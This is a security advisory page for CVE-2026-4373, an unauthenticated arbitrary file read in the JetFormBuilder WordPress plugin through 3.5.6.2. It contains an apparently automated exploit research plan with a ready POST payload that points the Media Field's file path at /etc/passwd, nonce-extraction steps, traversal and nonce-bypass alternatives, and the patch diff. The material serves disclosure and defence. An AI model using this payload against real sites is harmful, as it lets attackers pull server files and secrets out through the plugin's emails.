CVE-2026-4373

JetFormBuilder <= 3.5.6.2 - Unauthenticated Arbitrary File Read via Media Field

highAbsolute Path Traversal
7.5
CVSS Score
7.5
CVSS Score
high
Severity
3.5.6.3
Patched in
1d
Time to patch

Description

The JetFormBuilder plugin for WordPress is vulnerable to arbitrary file read via path traversal in all versions up to, and including, 3.5.6.2. This is due to the 'Uploaded_File::set_from_array' method accepting user-supplied file paths from the Media Field preset JSON payload without validating that the path belongs to the WordPress uploads directory. Combined with an insufficient same-file check in 'File_Tools::is_same_file' that only compares basenames, this makes it possible for unauthenticated attackers to exfiltrate arbitrary local files as email attachments by submitting a crafted form request when the form is configured with a Media Field and a Send Email action with file attachment.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=3.5.6.2
PublishedMarch 20, 2026
Last updatedMarch 21, 2026
Affected pluginjetformbuilder

What Changed in the Fix

Changes introduced in v3.5.6.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploit Research Plan - CVE-2026-4373 (JetFormBuilder Arbitrary File Read) ## 1. Vulnerability Summary The **JetFormBuilder** plugin (<= 3.5.6.2) is vulnerable to an unauthenticated arbitrary file read. The vulnerability exists because the plugin trusts user-supplied file paths provided in the "M…

Show full research plan

Exploit Research Plan - CVE-2026-4373 (JetFormBuilder Arbitrary File Read)

1. Vulnerability Summary

The JetFormBuilder plugin (<= 3.5.6.2) is vulnerable to an unauthenticated arbitrary file read. The vulnerability exists because the plugin trusts user-supplied file paths provided in the "Media Field" preset data. Specifically, the Uploaded_File::set_from_array method populates a file object's internal path from an array without validating if that path is within the WordPress uploads directory.

When a form is submitted with a Media Field and a "Send Email" action configured to include attachments, an attacker can supply a crafted JSON payload for the Media Field. This payload points the "internal file path" to a sensitive local file (e.g., /etc/passwd). Because File_Tools::is_same_file only performs a weak validation (comparing the basename of a URL to the filename), an attacker can bypass security checks and force the plugin to attach arbitrary local files to the outgoing email.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php (for AJAX submissions) or the permalink of a page containing a JetFormBuilder form.
  • Action: jet_form_builder_submit (AJAX action) or a direct POST request.
  • Vulnerable Parameter: The input field name corresponding to the Media Field (e.g., my_media_field).
  • Payload: A JSON-encoded array or structured POST data containing a file key pointing to the target absolute path and a url key whose basename matches the filename being "uploaded".
  • Authentication: Unauthenticated (if the form is public).
  • Preconditions:
    1. A form must exist with a Media Field.
    2. The form must have a Send Email Post-Submit Action.
    3. The Send Email action must have the Media Field selected in its Attachments settings.

3. Code Flow

  1. Entry Point: The user submits a form. JetFormBuilder processes the request via Jet_Form_Builder\Actions\Action_Handler.
  2. Preset Processing: During form processing, the plugin reconciles submitted files with "presets" (existing files).
  3. Reconciliation: Jet_Form_Builder\Classes\Resources\File_Tools::get_uploaded(File $file, $preset) is called.
    • $file is the object representing the file being uploaded in the current request.
    • $preset is the user-controlled data provided for the field.
  4. Weak Validation: File_Tools::is_same_file is called:
    protected static function is_same_file( File $file, Uploaded_File $uploaded_file ): bool {
        $info = pathinfo( $uploaded_file->get_url() );
        return $file->get_name() === ( $info['basename'] ?? '' );
    }
    
    If the attacker provides a url like http://localhost/passwd and uploads a file named passwd, this returns true.
  5. Object Population (Sink): Uploaded_File::set_from_array(array $upload) is called with the attacker's data:
    public function set_from_array( array $upload ): Uploaded_File {
        if ( isset( $upload['file'] ) ) {
            $this->file = $upload['file']; // Path injection: /etc/passwd
        }
        ...
    }
    
  6. Action Execution: The Send_Email_Action::do_action method executes.
  7. Exfiltration: It calls get_attachments(), which eventually calls Uploaded_File::get_attachment_file(). This returns the injected /etc/passwd path.
  8. Sink: wp_mail() is called with the local path in the $attachments array, causing WordPress to read the file and attach it to the email.

4. Nonce Acquisition Strategy

JetFormBuilder requires a nonce for form submission.

  1. Identify Variable: The plugin typically localizes form settings in a global JavaScript object named JetFormBuilderSettings.
  2. Trigger Script Loading: The script and nonce are only loaded on pages containing a jet-form-builder block.
  3. Execution Steps:
    • Create a test page containing the target form: wp post create --post_type=page --post_status=publish --post_content='[jet_form_builder id="ID_HERE"]'
    • Navigate to this page using browser_navigate.
    • Extract the nonce: browser_eval("JetFormBuilderSettings.nonce").
    • Extract the Form ID if not known: browser_eval("document.querySelector('input[name=\"_jfb_form_id\"]').value").

5. Exploitation Strategy

Step 1: Create a Form

Create a form with a Media Field and Send Email action using WP-CLI.

Step 2: Prepare Payload

The POST request must include:

  • _jfb_form_id: The ID of the form.
  • _jfb_nonce: The extracted nonce.
  • field_name: A JSON-encoded array containing the malicious file path.
  • $_FILES['field_name']: A dummy file with a matching name.

Step 3: Execute Request

Send a multipart/form-data request to admin-ajax.php.

Payload Example (POST Body):

action: jet_form_builder_submit
_jfb_form_id: 123
_jfb_nonce: [nonce]
my_media_field: [{"url":"http://localhost/passwd", "file":"/etc/passwd"}]

Files:
my_media_field -> file content: "dummy", filename: "passwd"

6. Test Data Setup

  1. Create the Form:
    # Create a Form Post
    FORM_ID=$(wp post create --post_type=jet-form-builder --post_title="Exploit Form" --post_status=publish --porcelain)
    
    # Add Media Field and Email Action to the form content/meta
    # Note: JetFormBuilder stores actions in _jet_at_post_submit_actions meta
    wp post meta update $FORM_ID _jet_at_post_submit_actions '[{"id":"send_email","settings":{"mail_to":"admin@example.com","subject":"Exfiltrated","attachments":["my_media_field"]}}]'
    
    # Set the form content (Media Field)
    wp post update $FORM_ID --post_content='<!-- wp:jet-form-builder/media-field {"name":"my_media_field","label":"Upload"} /--><!-- wp:jet-form-builder/submit-field {"label":"Submit"} /-->'
    
  2. Create a Page:
    PAGE_ID=$(wp post create --post_type=page --post_title="Submit Here" --post_content="[jet_form_builder id=\"$FORM_ID\"]" --post_status=publish --porcelain)
    

7. Expected Results

  • The HTTP response should indicate a successful submission ({"status":"success"}).
  • Internally, wp_mail will be called with /etc/passwd as an attachment.
  • Since we cannot receive the email in a headless environment, we look for confirmation that the action was triggered with the malicious path.

8. Verification Steps

  1. Check Form Records: If "Store Form Record" is enabled, verify the recorded path.
    wp jet-form-builder record list --fields=id,form_id
    # Inspect the meta for the record to see if /etc/passwd was processed
    
  2. Mock/Log wp_mail: Use a plugin like WP Mail Logging or use wp eval to check if any errors occurred during the email process that might reveal the attachment attempt.
  3. Database Check: If the form is configured to save metadata, check the wp_postmeta for the form record's ID to see if the my_media_field value contains /etc/passwd.

9. Alternative Approaches

  • Path Traversal via URL: If /etc/passwd is blocked, try ../../../../../../etc/passwd in the file parameter.
  • Different Actions: If "Send Email" is not present, check if "Insert/Update Post" allows mapping the Media Field to a post meta field, which would then be readable via the REST API or frontend.
  • Bypass Nonce: Check if the nonce validation is omitted if the request is sent with a specific header or to a different endpoint (e.g., REST API). (Based on Send_Email_Action::self_script_name, the plugin might have specific handlers for different modules).
Research Findings
Static analysis — not yet PoC-verified

Summary

The JetFormBuilder plugin for WordPress is vulnerable to unauthenticated arbitrary file read due to improper path validation in the Media Field processing logic. An attacker can supply an absolute local file path in a crafted JSON payload, which the plugin subsequently uses as an email attachment if the 'Send Email' post-submit action is configured.

Vulnerable Code

// includes/classes/resources/uploaded-file.php

public function set_from_array( array $upload ): Uploaded_File {
	if ( isset( $upload['file'] ) ) {
		$this->file = $upload['file'];
	}
	if ( isset( $upload['url'] ) ) {
		$this->url = $upload['url'];
	}

---

// includes/classes/resources/file-tools.php

protected static function is_same_file( File $file, Uploaded_File $uploaded_file ): bool {
	$info = pathinfo( $uploaded_file->get_url() );

	return $file->get_name() === ( $info['basename'] ?? '' );
}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/jetformbuilder/3.5.6.2/includes/blocks/render/media-field-render.php /home/deploy/wp-safety.org/data/plugin-versions/jetformbuilder/3.5.6.3/includes/blocks/render/media-field-render.php
--- /home/deploy/wp-safety.org/data/plugin-versions/jetformbuilder/3.5.6.2/includes/blocks/render/media-field-render.php	2025-07-02 07:54:48.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/jetformbuilder/3.5.6.3/includes/blocks/render/media-field-render.php	2026-03-20 07:01:12.000000000 +0000
@@ -75,7 +75,7 @@
 			// preset field
 			$updated = str_replace( '<!-- field -->', $this->get_field_preset( $file ), $updated );
 
-			$image_ext    = array( 'jpg', 'jpeg', 'jpe', 'gif', 'png', 'svg', 'webp' );
+			$image_ext    = array( 'jpg', 'jpeg', 'jpe', 'gif', 'png', 'svg', 'webp', 'avif' );
 			$img_ext_preg = '!.(' . join( '|', $image_ext ) . ')$!i';
 
 			if ( preg_match( $img_ext_preg, $file['url'] ) ) {
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/jetformbuilder/3.5.6.2/includes/classes/resources/file-tools.php /home/deploy/wp-safety.org/data/plugin-versions/jetformbuilder/3.5.6.3/includes/classes/resources/file-tools.php
--- /home/deploy/wp-safety.org/data/plugin-versions/jetformbuilder/3.5.6.2/includes/classes/resources/file-tools.php	2023-11-20 11:46:54.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/jetformbuilder/3.5.6.3/includes/classes/resources/file-tools.php	2026-03-20 07:01:12.000000000 +0000
@@ -30,7 +30,13 @@
 	}
 
 	protected static function is_same_file( File $file, Uploaded_File $uploaded_file ): bool {
-		$info = pathinfo( $uploaded_file->get_url() );
+		$preset_path = $uploaded_file->get_attachment_file();
+
+		if ( ! $preset_path ) {
+			return false;
+		}
+
+		$info = pathinfo( $preset_path );
 
 		return $file->get_name() === ( $info['basename'] ?? '' );
 	}
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/jetformbuilder/3.5.6.2/includes/classes/resources/uploaded-file.php /home/deploy/wp-safety.org/data/plugin-versions/jetformbuilder/3.5.6.3/includes/classes/resources/uploaded-file.php
--- /home/deploy/wp-safety.org/data/plugin-versions/jetformbuilder/3.5.6.2/includes/classes/resources/uploaded-file.php	2025-07-02 07:54:48.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/jetformbuilder/3.5.6.3/includes/classes/resources/uploaded-file.php	2026-03-20 07:01:12.000000000 +0000
@@ -96,17 +96,17 @@
 
 	public function set_from_array( array $upload ): Uploaded_File {
 		if ( isset( $upload['file'] ) ) {
-			$this->file = $upload['file'];
+			$this->file = self::normalize_allowed_upload_file_path( (string) $upload['file'] );
 		}
 		if ( isset( $upload['url'] ) ) {
-			$this->url = $upload['url'];
+			$this->url = esc_url_raw( (string) $upload['url'] );
 		}
 		if ( isset( $upload['type'] ) ) {
-			$this->type = $upload['type'];
+			$this->type = sanitize_mime_type( (string) $upload['type'] );
 		}
 		if ( isset( $upload['id'] ) ) {
 
-			$this->set_attachment_id( (string) $upload['id'] );
+			$this->set_attachment_id( (string) absint( $upload['id'] ) );
 		}
 
 		return $this;
@@ -185,7 +185,10 @@
 		$file = $this->get_file();
 
 		if ( $file ) {
-			return $file;
+			$file = self::normalize_allowed_upload_file_path( $file );
+			if ( $file ) {
+				return $file;
+			}
 		}
 
 		$id  = $this->get_attachment_id();
@@ -197,13 +200,59 @@
 
 		$file = get_attached_file( $id );
 
-		return is_string( $file ) ? $file : '';
+		if ( ! is_string( $file ) ) {
+			return '';
+		}
+
+		return self::normalize_allowed_upload_file_path( $file );
 	}
 
 	/**
 	 * @param string $url
 	 */
 	public function set_url( string $url ) {
-		$this->url = $url;
+		$this->url = esc_url_raw( $url );
+	}
+
+	/**
+	 * Normalize path and allow only existing files inside wp-content uploads directory.
+	 *
+	 * @return string Normalized realpath to a file in uploads, or empty string.
+	 */
+	public static function normalize_allowed_upload_file_path( string $file ): string {
+		if ( '' === $file ) {
+			return '';
+		}
+
+		$path = wp_normalize_path( $file );
+		$real = realpath( $path );
+
+		if ( false === $real ) {
+			return '';
+		}
+
+		$real = wp_normalize_path( $real );
+		$real = untrailingslashit( $real );
+
+		$uploads = wp_get_upload_dir();
+		$base    = (string) ( $uploads['basedir'] ?? '' );
+
+		if ( '' === $base ) {
+			return '';
+		}
+
+		$base_real = realpath( $base );
+		if ( false === $base_real ) {
+			return '';
+		}
+
+		$base = wp_normalize_path( $base_real );
+		$base = untrailingslashit( $base );
+
+		if ( 0 === strpos( $real, $base . '/' ) && is_file( $real ) ) {
+			return $real;
+		}
+
+		return '';
 	}
 }
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/jetformbuilder/3.5.6.2/modules/actions-v2/send-email/send-email-action.php /home/deploy/wp-safety.org/data/plugin-versions/jetformbuilder/3.5.6.3/modules/actions-v2/send-email/send-email-action.php
--- /home/deploy/wp-safety.org/data/plugin-versions/jetformbuilder/3.5.6.2/modules/actions-v2/send-email/send-email-action.php	2024-12-18 13:19:08.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/jetformbuilder/3.5.6.3/modules/actions-v2/send-email/send-email-action.php	2026-03-20 07:01:12.000000000 +0000
@@ -5,6 +5,7 @@
 use Jet_Form_Builder\Actions\Action_Handler;
 use Jet_Form_Builder\Actions\Types\Base;
 use Jet_Form_Builder\Classes\Http\Http_Tools;
+use Jet_Form_Builder\Classes\Resources\Uploaded_File;
 use Jet_Form_Builder\Classes\Tools;
 use Jet_Form_Builder\Exceptions\Action_Exception;
 use Jet_Form_Builder\Request\Request_Tools;
@@ -397,7 +398,29 @@
 			);
 		}
 
-		return $attachments;
+		return $this->filter_safe_attachments( $attachments );
+	}
+
+	/**
+	 * Allow only readable files within the uploads directory.
+	 */
+	private function filter_safe_attachments( array $attachments ): array {
+		$safe = array();
+
+		foreach ( $attachments as $attachment ) {
+			if ( ! is_string( $attachment ) || '' === $attachment ) {
+				continue;
+			}
+
+			$allowed = Uploaded_File::normalize_allowed_upload_file_path( $attachment );
+			if ( '' === $allowed || ! is_file( $allowed ) || ! is_readable( $allowed ) ) {
+				continue;
+			}
+
+			$safe[] = $allowed;
+		}
+
+		return array_values( array_unique( $safe ) );
 	}

Exploit Outline

To exploit this vulnerability, an attacker first identifies a JetFormBuilder form on the target site that uses a Media Field and has a 'Send Email' post-submit action configured to include that field as an attachment. The attacker obtains the necessary submission nonce from the page's source code. They then perform a multipart POST request to the `jet_form_builder_submit` action, including a crafted JSON payload in the Media Field's input name. This payload contains a `file` key pointing to a sensitive absolute path (e.g., `/etc/passwd`) and a `url` key with a matching basename to bypass the plugin's internal consistency checks. Upon submission, the plugin validates the dummy file provided in the upload request against the preset JSON data, assigns the malicious absolute path to the file object, and subsequently attaches that file to the email sent by the 'Send Email' action.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.